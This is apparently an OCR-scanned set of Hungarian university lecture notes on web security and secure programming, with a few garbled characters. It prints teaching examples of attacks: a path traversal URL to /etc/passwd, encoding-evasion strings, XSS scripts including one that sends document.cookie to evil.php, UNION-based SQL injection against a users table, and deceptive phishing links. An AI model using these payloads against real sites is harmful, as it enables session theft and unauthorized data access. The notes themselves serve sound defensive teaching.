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1. Web biztonsag tertilete

Web bongészsk
Egyéb HTML megjelenitSt hasznalé programok
*  Mail kliensek
*  RSS olvasék
*  Mobiltelefonok feliilete és szoftverei
Web szerverek
Web proxy-k
DNS szerverek

1.1. A web mUikddése

client - c.system - network - proxy - network - s.system - webservice - web app - rdbms - data

felhasznalé -
op.rendsz.

=
proxy,
bongészo

web
. o op.rendsz.
megjelenités -

AJAX || JAVA || Flash

DB
szerver

web

alkalmazas

ActiveX Silverlight

1.2. A web ma

Aktiv kliens oldal (GMail)
HTML -> XML, XSL / XHTML / XFORMS ...
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1.3. A web alapu rendszerek kommunikacioja

HTTP (Hypertext Transfer Protokoll)

1.3.1. A HTTP legfontosabb jellemzéi

Allapotmentes
Nyilt, lehallgathat6
Szoveg orientélt

Ellophat6, médosithat6 - pl. Man in the middle attack

1.3.2. A protokoll altalanos miikddése

Szdveges, nem titkositott protokoll.
Legfontosabb metédusai: HEAD, GET, POST
A kédolasokrol

1.3.3. Ismétlés: SSL, TLS

A szimmetrikus titkositas (ismétlés)

Az aszimmetrikus titkositds (ismétlés)

1.3.4. A HTTPS protokoll

A HTTPS nem mds, mint a HTTP egy SSL 4ltal titkositott csatorndban. (Az SSL utédja a TLS, amely valéjdban csak
konstansokban kiilonbozik az SSL-t61, igy a tovabbiakban 6sszefoglalé néven csak SSL-ként hivatkozom rd.) A
bongészd SSL protokollon kapcsolatot hoz 1étre a webszerverhez, és utdna ezen a titkos csatorndn a mar megismert
HTTP protokollt hasznélja. Az SSL kissé leegyszerisitve: a kommunikal6 felek aszimmetrikus titkositas segitségével,
egy PKI 4ltal kibocsétott digitélis tandsitvannyal azonositjdk (az ellenérzés nem kotelezd, de a szervernek
mindenképpen fel kell mutatnia egy tandsitvanyt) a masik oldalt, majd egy egyeztetett szimmetrikus algoritmussal és
kulccsal kezdenek beszélgetni.

Elénye, hogy a kliens nagy biztonsdggal ellendrizheti, hogy valéban ahhoz a szerverhez csatlakozott-e, akihez akart. Ha
a szerver Ugy van bedllitva, akkor a kliensnek is be kell mutatnia a sajit tandsitvanyét, igy az azonositds két irdnyu
lehet. Mivel a vildgon szdmos komoly biztonsagi kovetelményeknek megfeleld tanisit6 szervezet (CA - Certification
Authority) allit ki hivatalos tandsitvanyokat, igy az egymadst nem ismerd felek is nagy biztonsaggal meggy6z6dhetnek a
madsik fél hitelességérdl.

Hidnyossédgai:
*  nagy processzor erdforrasigény

* nagy entrdpia igény (ezt sokszor csak specidlis hw beépitésével lehet megoldani)

Tanusitvanyok megfelel6 ellenérizése
CA aldiras
érvényességi id6

CRL
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OCSP

Tanusitvanyok beszerzése
Tanusitészervezetek altal kiadott tandsitvanyok

A felhaszndl6 regisztracidjakor a szerver ellendrzi a felhaszndld tandsitvanydnak érvényességét (1asd HTTPS protokoll
leirdsanal), majd a webalkalmazas feljegyzi az adatbazisban a tandsitvany kiallité szervezetét és a tanusitvany
sorszdmat. Ezek utdn, ha a felhaszndl6 az adott tantsitvany segitségével kapcsolddik a szerverhez, akkor az alkalmazas
minden mds ellendrzés nélkiil tudja, hogy ki a kliens.

FIXME subject??
Sajat CA éltal kidllitott tantsitvanyok

Ha lehetséges egy sajat tanusit6 szervezet felallitdsa (példdul egy nagyobb cég belsé CA-ja), akkor a szerveren
beallithat6, hogy csak a sajit CA 4ltal kiadott, érvényes tandsitvanyokat fogadjuk el. gy kozvetlen befolyasa ald keriil a
felhaszndlok hozzaférésének szabdlyzdsa a tandsitvanyok sziikség esetén vald visszavondsdval.

On-alairt tandsitvany hasznélata

Az On-aldirt tandsitvany (angolul self-signed certificate) a legegyszertibben elkészithetd, de a legkevesebb haszonnal
jaré moédszer. Az egyetlen értelme, hogy hasznalatdval a bongészd és a webszerver képes titkositva kommunikalni, de a

///// 7z

kliens nem tud a szerver valddisdgardl meggy6z6dni, igy az SSL haszndlatdnak egyik legfontosabb elénye veszik el.

Virtualis hosztok problémai
* domain.tld
SNI Server Name Indication (RFC 3546)

Nem minden bongész6 tdmogatja ket

1.4. A felhasznal6 azonositasa és feljogositasa

1.4.1. Emberek és robotok megkulldnbdztetése

webspam, adatgydjtés ellen

Turing teszt

Capcha

1.4.2. |dentifikacid, authentikacid, authorizacio (ismétlés)
DAC, MAC

1.4.3. A jelszavakrdl altalaban

Jelsz6 biztonsag ( hossz, karakterek )

Csatorna fliggd: lehallgathatésag

Jelsz6 tarolas ( plain pro és kontra )

Hash algoritumsok ( crypt, mdS5, shal, sha256, sha512, mire j6 a salt )

Jelsz6 generaldsa
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Jelsz6 bekérése, cseréje

1.4.4. Azonositasi médszerek

A HTTP protokoll sajat azonositasi mechanizmusai
Realm fogalma
Challange-Response

Szerver:

WWW-Authenticate: Basic realm="TitkosAdatok"
Kliens:

Authorization: Basic YXR5YTptZWdhc3plcGVydGl0b2s=

Automatikus Response egy siitiben tarolva

Alkalmazas szint(i felhasznal6 azonositas

Felhasznaldi név és jelsz6

Lésd "A jelszavakrol dltaldban"

Siiti (cookie) alapu azonositas

A felhasznl6 altal is mdédosithaté (FIXME leirni miért)
Elrabolhaté6 (Iehallgatas, XSS)

- IP-hez kothetd

- lejarata szabalyozhat6
Rejtett tGrlapmez6 alapu azonositas

URL alapu azonositas
lehallgathaté

cache-ek is 14tjak

Tanusitvany alapu azonositas

Az alapokat lasd a HTTPS protokoll leirasanal. A web szerveren fut6 program a szervertdl megkapja a felhaszndl6 altal

zo 2

atadott tandsitvanyban 1év6 adatokat, igy ezen adatok alapjan ellendrizhetd a felhasznalé kiléte. Ennek természetesen
alapfeltétele, hogy a szerver megfelelGen legyen bedllitva, és csak megbizhat6 tanusité szervezetek 4ltal kidllitott
tanusitvanyokat fogadjon el.

A tovabbiakat 14sd a HTTPS protokoll leifrdsanal.

Kétlépcsds azonositas (challenge-response)

Pl. sms a felhaszndl6nak, OTP médszerek (SKey, CryptoCard) és a tantsitvany alapi azonositas is ide tartozik...
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Single sign on

OpenlD, Passport...

1.4.5. Session kezelési hibak
Megval6sitas: siiti, rejtett mez6 és URL rablds

A session rablds ellen tdrolhatjuk a REMOTE_IP-t és a USER_AGENT-et. De ezzel lehet problém4ja a felhasznalénak
(roaming userek, dinamikus cimek, dllapotszinkron tobb bongészé kozott...). Védekezés lehet még a siiti
érvényességének (lejaratdnak) hangoldsa a biztonsagi kovetelményeknek megfelelGen.

1.4.6. Felhasznald kizarasa (lock out)

A megtdmadott felhasznél6 belépési limitjét kihasznalja

1.4.7. Kliens hibak

Kliens dinamikus tartalom

Java

Sandbox-ban futé appletek
Automatikusan elindulnak
J6, ha a JVM biztonsagos

Sajnos néha nem az, az applet barmit megtehet

ActiveX
A felhaszndl6 eldontheti, hogy mehet-e -
Nem ért hozz4, nem jol dont

Biztonsagi hiba esetén nem is kérdez, csak jon

JavaScript

Ujabban felkaptak, Web 2.0

AJAX

Az internetes Javascript-ek korldtozva vannak

Volt mar hiba, amit6l fajlokat tudtak manipulalni

VB Script

Hasonld, mint a JS, de csak Windowson miikodik

1.4.8. Web keresd motorok altal okozott veszélyek

Lenyomozhatdsag

Bizalmas adatok keriilnek ki
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a robotok meglelik

beteszik a keres cache-be, aztdn mér nagyon nehéz levenni

1.4.9. Szerver oldali tamadasok

Rendszer elleni timadds (rendszer tipusdnak megh.: nmap)
Web szerver elleni tdimadds (tipus megh.: nc)
Web alkalmazis elleni tdimadas

RDBMS elleni timadas

A tamado célja

Deface, massdeface

DoS, DDoS (pl. tcp connect flood)
Tlletéktelen hozzaférés

Illetéktelen adatmodositas

Web szerver scannerek

Akdr teljes hibaadatb4zissal

Szerver hibak
Azonosités kijatszdsa
pl. .htaccess; jelszéval - brute force; IP szerint
SQL injection - a belépteté SQL parancs ellen
Feljogositas kijatszdsa
.. bug
Példa:

http://www.example.com/WebCalendar/login.php?user_inc=../../../../../etc/passwd

Néhany gyakran hasznalt tamadasi méd

Dupla kodolas (Double coding)

példal:
“../" => "S2ES2E%2f", “%” -> "$25"
‘o) => "$252E%252E%252F"
példa2:
<script>alert ('XSS')</script> -> %253Cscript%253Ealert ('XSS')%$253C%252Fscript%253E
XSS v. CSS
példal:

<script type="text/javascript">
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var adr = '../evil.php?cakemonster=' + escape (document.cookie);

</script>
példa2:
<script>
password = prompt ("Please enter your dial-up password","");
</script>
példa3:
<img src='S$Surl'> <- "doesntexist.jpg' onerror='alert (document.cookie)"

Mivel JS, ezért célzott, akdr egyénre szabott timadast tesz lehet6vé

Alternativ XSS leiras

<script>alert ('yOu ar3 Own3d!');</script>

helyett:

&\1t;scripté&\gt;alert&\#40; 'yOu ar3 Own3d!'s&\#41;;&\1t; /scripté&\gt;

1.4.10. A webalkalmazas jogai és az oprendszer védelmi rendszere

A webalkalmazas felhasznal6ja és csoportja(i)
A processzek kozti kommunikéacid

TCP/TP

szigndlok

7 z

Az elérhet6 dllomédnyrendszer

1.4.11.  Specialis veszélyforrasok
Adobe Flash

Google Gears

Adobe Air

1.4.12.  Sutikkel kapcsolatos problémak

Sitis adatgydijtés
A tarolt siitik és tartalmuk sokat elarulnak a felhasznal6 haldzati szokasairdl, sét szokasairdl
Minek?
A tdmado segitséget kaphat, hogy merre induljon
Irdnyitott, személyre szabott reklam
CIA,NSA )
Specialis siitik

flash cookie
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LSO (Local Shared Object)
Siti rablas

Siti modositasa

Ezt a technikét csak nem titkositott siitinél haszndlhatja a timadé

1.4.13.  Phishing

Megtéveszté levelek, weboldalak
Kis kitér6: SMTP

Megtéveszté linkek, az URI tamadasa

A cél megviltoztatdsa:

<a href="http://evil.hu">http://www.otp.hu</a>
A domain a kukac utdn (felhasznalonév haszndlata):

<a href="http://www.otp.hul@evil.hu">http://www.otp.hu</a>
Egyszerti megtévesztés 1:

<a href="http://www.0TP.hu">http://www.OTP.hu</a>
Egyszerli megtévesztés 2:

<a href="http://www.cem.com">http://www.cern.com</a>
Egyszerli megtévesztés 3:

<a href="http://www.tvll.hu">http://www.tvll.hu</a>
IDN megtévesztés:

<a href="http://www.p%$D0%B0ypal.com/">paypal.com</a>

A statuszsor tamadasa

1.4.14. Fizetés a halézaton
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2. Altalanos programozasi hibak és elkerilésik

2.1. Célunk a programozéas minGéségével kapcsolatban
Helyes miikodés
Stabilitas

Biztonsdgos miikodés

2.2. A programozasi projekt eletutja
Prototipus

Tervezés

Megvaldsitas

Prototipus készités

\ Megvalositas

4

Tervezés \
\ Fejleszt6i tesztek

Figgetlen tesztek

Dokumentacid

Hibajelentések

— _

2.3. A legfontosabb altalanos fejlesztési problemak

2.3.1. Nem megfelel6en ellenbrzétt bemenet

Fail open (perl):
if ( $input =~ /\.\./ ) { # hiba }

Fail safe (perl):
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if ( $input =~ /"[a-zA-Z0-9\/]+(\.[a-zA-Z0-9\/1+)*$/ ) { # ok }
else { hiba }
Nincs ellendrzés, hibas (php):
Smonth = $_GET['month'];
Syear = $_GET['year'];
exec ("cal $month $year", S$Sresult);
print "<PRE>";
foreach (Sresult as Sr)
{ print "Sr<BR>"; }
print "</PRE>";
Megfelelen ellenérzive, helyes (php):
Smonth = $_GET['month'];
Syear = $_GET['year'];
if (!preg_match("/"[0-9]1{1,2}$/", Smonth)) die("Bad month, please re-—enter.");
if (!preg_match("/"[0-9]1{4}s$/", Syear)) die("Bad year, please re-enter.");
exec ("cal $month S$year", Sresult);
print "<PRE>";
foreach (Sresult as $r) { print "Sr<BR>"; }

print "</PRE>";

2.3.2. Hibatlir6 megvaldsitas

Inkédbb 1épjen ki, mint hibdsan miikodik

2 2

Hibat{iré megvaldsitas — pl.: try catch finally

2.3.3. Hozzaférés vezérlési hibak

A webroot-on beliil elhelyezett adat konyvtarak, index fajl nélkiil. Ha az apache automatikus indexelése be van
kapcsolva akkor a tdimadé hozzaférhet az adatokhoz.

php programok mentése a webroot alatt .bak kiterjesztéssel

http://valaki.hu/getdata.php/data/publikus.pdf
http://valaki.hu/data/publikus.pdf

http://valaki.hu/data/

/var/www/valaki.hu webroot

/var/www/valaki.hu_data

2.4.  Altalanos j6 tanacsok megfelel8 minGség(i
programok fejlesztéséhez

Preciz rendszerspecifikacié
pontosan meg kell fogalmazni a célokat funkcionalis szempontbdl
a problémat részletekre kell bontani, a bonyolultsdg fiiggvényében akar tobb rétegben

a részeknek megfeleld illesztd feliilettel kell rendelkeznie, ha kell modulonként lehessen cserélni
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meg kell gy6z6dni rdla, hogy a terv rétegei megfelelnek egymasnak
Fejleszt6i mindségkultira
Megfelel6 programnyelv kivalasztasa
Fontos szempontok
hozzaértés
atlathatdsag, érthetdség
egységbe zdrds
informacié elrejtés
szigoru tipusossag
Helyes programozasi technikdk
meg kell ismerni, és keriilni kell a tipikus hibakat (l4sd kés6bb)
nehezen értelmezhet6 kodrészletek keriilése (minden fejlesztének olvashaté legyen)
a hibdra hajlamos programszerkezetek elkeriilése (fejlesztési vs. futdsi sebesség)
példa sql do

hasznos a programozasi kornyezet beépitett védelmi funkcidinak hasznalata, pl. Perl: Tainted méd

2.5. Altalanos biztonsagos programozasi médszertan: a
CC szabvany

Common Criteria ISO/IEC 15408:1999)

2.6. Jogosultsagi szintek, mint védekezési eszkdz

Védett szerver
zOna

Adatbézis
9 szerver

RW_

SzerkesztGségi
szerver

Ha nem muszdj, ne hasznéljunk DB-t
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DB felhasznaldk hasznélata

Jogosultsagok minimaliz4l4sa id6ben és lehet6ségekben egyardnt

Kiilonbozo biztonsagi szintl felhasznalok feliilet szeparacidja
az egyszeri felhasznaldk nem is férhetnek hozza az admin feliilethez
halozati levalasztas (lasd dbra)
hozzéférés csak tandsitvany hasznélatival

irashoz csak olyan felhaszndl6 haszndlhatd, akinek van személyes felhasznaldja DB szinten is

2.7. A programok tdmadasanak modjai

A program miikodésének befolydsoldsa adatainak megvaltoztatdsa altal
A rendszerben 1év6 kéd végrehajtasa nem megfeleld sorrendben

Tamadé kod bevitele és végrehajtasa

2.8. A mukodeési kdrnyezetbdl adodd hibak

Kiilsé hivasok eltéritése (PATH, tcp redirect ...)
Er6forrasok tilzott hasznélata

Féjlrendszer teleirdsa

DOS tdl sok kérés imitdldsdval (nagy mennyiségli GET, majd disconnect)
klasszikus DDOS (nagy mennyiségii kérés botnet segitségével)

SQL lekérdezések, mint DOS lehetSség (meméria vagy processzor elfogyasztisa)

2.9. A programozasi kérnyezetbdl adodd hibak

2.9.1. Néhany altalanos programozasi hiba

Kezddérték nélkiili valtozok hasznalata, ahol a timado képes befolydsolni a kezdGértéket
Egész szam kezelési problémak
integer overflow, signedness bug (demo)

o0sszeadasnal, szorzasnal, értékadasnal

2.9.2. Elérési ut bejaras (dot-dot bug, Path traversal)

Dekoddolas el6tti ellenGrzésnél:

%$2e%2e%2f —> ../
%2e%2e/ —> ../

L.%2F > L./
%$2e%2e%5c —> ..\
$2e%2e\ —> ..\
..%5¢c —> ..\

$252e%252e%255¢c —> ..\
..%255¢c —> ..\

és igy tovébb.
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2.9.3. Abszolut at bejaras (Absolute Path Traversal)

http://testsite.com/get.php?f=1list
helyett

http://testsite.com/get.asp?f=/etc/passwd

2.9.4. Kédolasi problémak, élé nyelv-specifikus hibak

Betil szerinti rendezés moédosuldsa

2.9.5. A C nyelv sajatos hibai

Tobbnyire Neumann a hibds, minek kellett egy helyre tenni a kddot és az adatokat
puffer tdlcsordulds / stack v buffer overflow, overrun

halom tulcsorduléds / heap overflow

dupla felszabaditas / double free

formaz6 sztring hiba / format string bug

return to libc

2.9.6. Szkriptnyelvek (php, perl, python...)

include

magic open

2.9.7. Adatbazisokkal kapcsolatos hibak

Relacios adatbazisok

A leggyakrabban az adatbazisban taroljak a kontroll adatokat is (struktura, felhasznaldk...). Biztonsagi szempontbdl ez
nagyon nem szerencsés. Folyomanya: DML-lel minden informéci6 elérhet6 az adatbazisrél (MySQL, PostgreSQL:
INFORMATION_SCHEMA; MS SQL: SYSOBJECTS)

A legfontosabb hiba, az SQL injection:
Az SQL sztring php-ben valahogy igy néz ki:
select * from arucikkek where id=$_GET['id']
normalis hasznalat mellett ezt csinalna:
select * from arucikkek where id=1
a tdmado igy alakitja a mikodését:

select * from arucikkek where 1d=1000 union select nev, jelszo from users

A UNION SELECT hasznélatdhoz a tdimadénak tudnia kell hany darab (és milyen tipusid) mez6 van az eredeti
lekérdezésben
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Nem csak az adatbazis adatai érhetdk el
MySQL: LOAD_FILE(), INTO OUTFILE, FROM DUMPFILE
MSSQL: xp_cmdshell

Hierarchikus adatbazisok

pl. LDAP esetén filter injection

2.9.8. Az adatok XML reprezentacidja

XPath injection

2.10. A hibak elker(ilése: A beérkez6 adatok ellenfrzése

2.10.1. A beérkez6 adatok csatornai

Az operacios rendszer csatornai
Parancssor

Kornyezeti valtozok

F4jl olvasas

F4jl descriptorok

F4jl nevek

F4jl tartalma

Konfiguricids fijlok

Halézatrol érkez6 adatok

A HTTP protokoll elemei

URL

POST met6dus esetén az adatok

HTTPS esetén a tandsitvanyban szerepl$ adatok (subject, issuer)
Adatbazisbdl érkezd valaszok

Memcached-bdl érkez6 valaszok

Sajat specidlis kiegészitd szerver altal adott valaszok

2.10.2. A beérkezb adatok ellenbrzése

Lasd ajanlott irodalom [1]
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Hossz ellen6rzés
Karakter osztaly ellenérzése

Regularis minta illesztés

2.11. A hibak elkerllése: A kdrnyezet védelmi
megoldasai

2.11.1. A programhibak elleni védelem szintjei

A hardware védelmi funkcioi

védelmi szintek

NX bit, memdrialapok futtathatésdgdnak bedllitdsa
1386: nincs timogatva
amd64, sparc, powerpc, alpha: timogatott

processzor szint{ virtualizacié

Operacios rendszer beépitett védelmi mechanizmusai
Felhaszndl6i szintek

Tobbfelhaszndlés rendszerek

Fdlj jogosultsdgok, ACL

particiok csatoldsi opcidi

Exec-shield

2

Gyenge cim véletlenszertisités

Operacios rendszer kiegészité védelmi mechanizmusai

SELinux, Apparmor, Grsecurity, PaX

Fejleszt6 kérnyezet védelmi mechanizmusai
A nyelv biztonsagi sajdtossagai
Automatikus kédelemzsk

Védelmi kiegészit6 funkcidk (pl. StackGuard, ProPolice)

Fejlesztési moédszertan védelmi funkcioi

A CC garancia kovetelményei, mint segédanyag
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Futtato kérnyezet védelmi funkcioi
Apache biztonsdgi beallitasai
PHP kornyezet biztonsdgi bedllitdsai

Perl Tainted mod
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3. Ajanlott olvasmanyok

[1] Secure programming for Linux and Unix HOWTO - 5. és 11.2. fejezetek mindenképp, a tobbi ajanlott
http://www.dwheeler.com/secure-programs/

[2] Hogyan irjunk biztonsidgos programokat PHP nyelven
http://www.cgisecurity.com/lib/php-secure-coding.html

[3] OWASP - Open Web Application Security Project - minden, amit a webbiztonsdgrol tudni érdemes
http://www.owasp.org

[4] A Google web biztonsdggal foglalkoz6 lapja, el6addsok, tanulméanyok
http://code.google.com/intl/hu-HU/edu/security/index.html

[5] MTA biztonsdgi tanulmdny - 4.10. fejezet
http://www.cert.hu/dmdocuments/MTAl_online.pdf

[6] The WWW Security FAQ
http://www.w3.org/Security/Faq/

[7] CGISecurity.com - egy masik webbiztonsaggal foglalkozd, nagyon alapos oldal
http://www.cgisecurity.com/

[8] A 25 leggyakrabban elkovetett fejlesztési hiba a SANS szerint

http://www.sans.org/top25errors/

http://weblabor.hu/cikkek/munkamenetkezeles|
http://weblabor.hu/cikkek/munkamenetkezeles2

http://weblabor.hu/cikkek/phpbiztonsag
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4. Demonstraciok

4.1. Firefox

dns névfeloldas

4.2. Chrome, mint biztonsagi probléma

Kiildi az adatokat, ha kell, ha nem :(

4.3. User auth lehallgatasa

tcpdump vagy Wireshark, és freemail.hu belépés titkositds nélkiil (Ilehetne szinte akarmi)

4.4, Dem¢é minta programocskak

4.5. A gagyiszerv.pl
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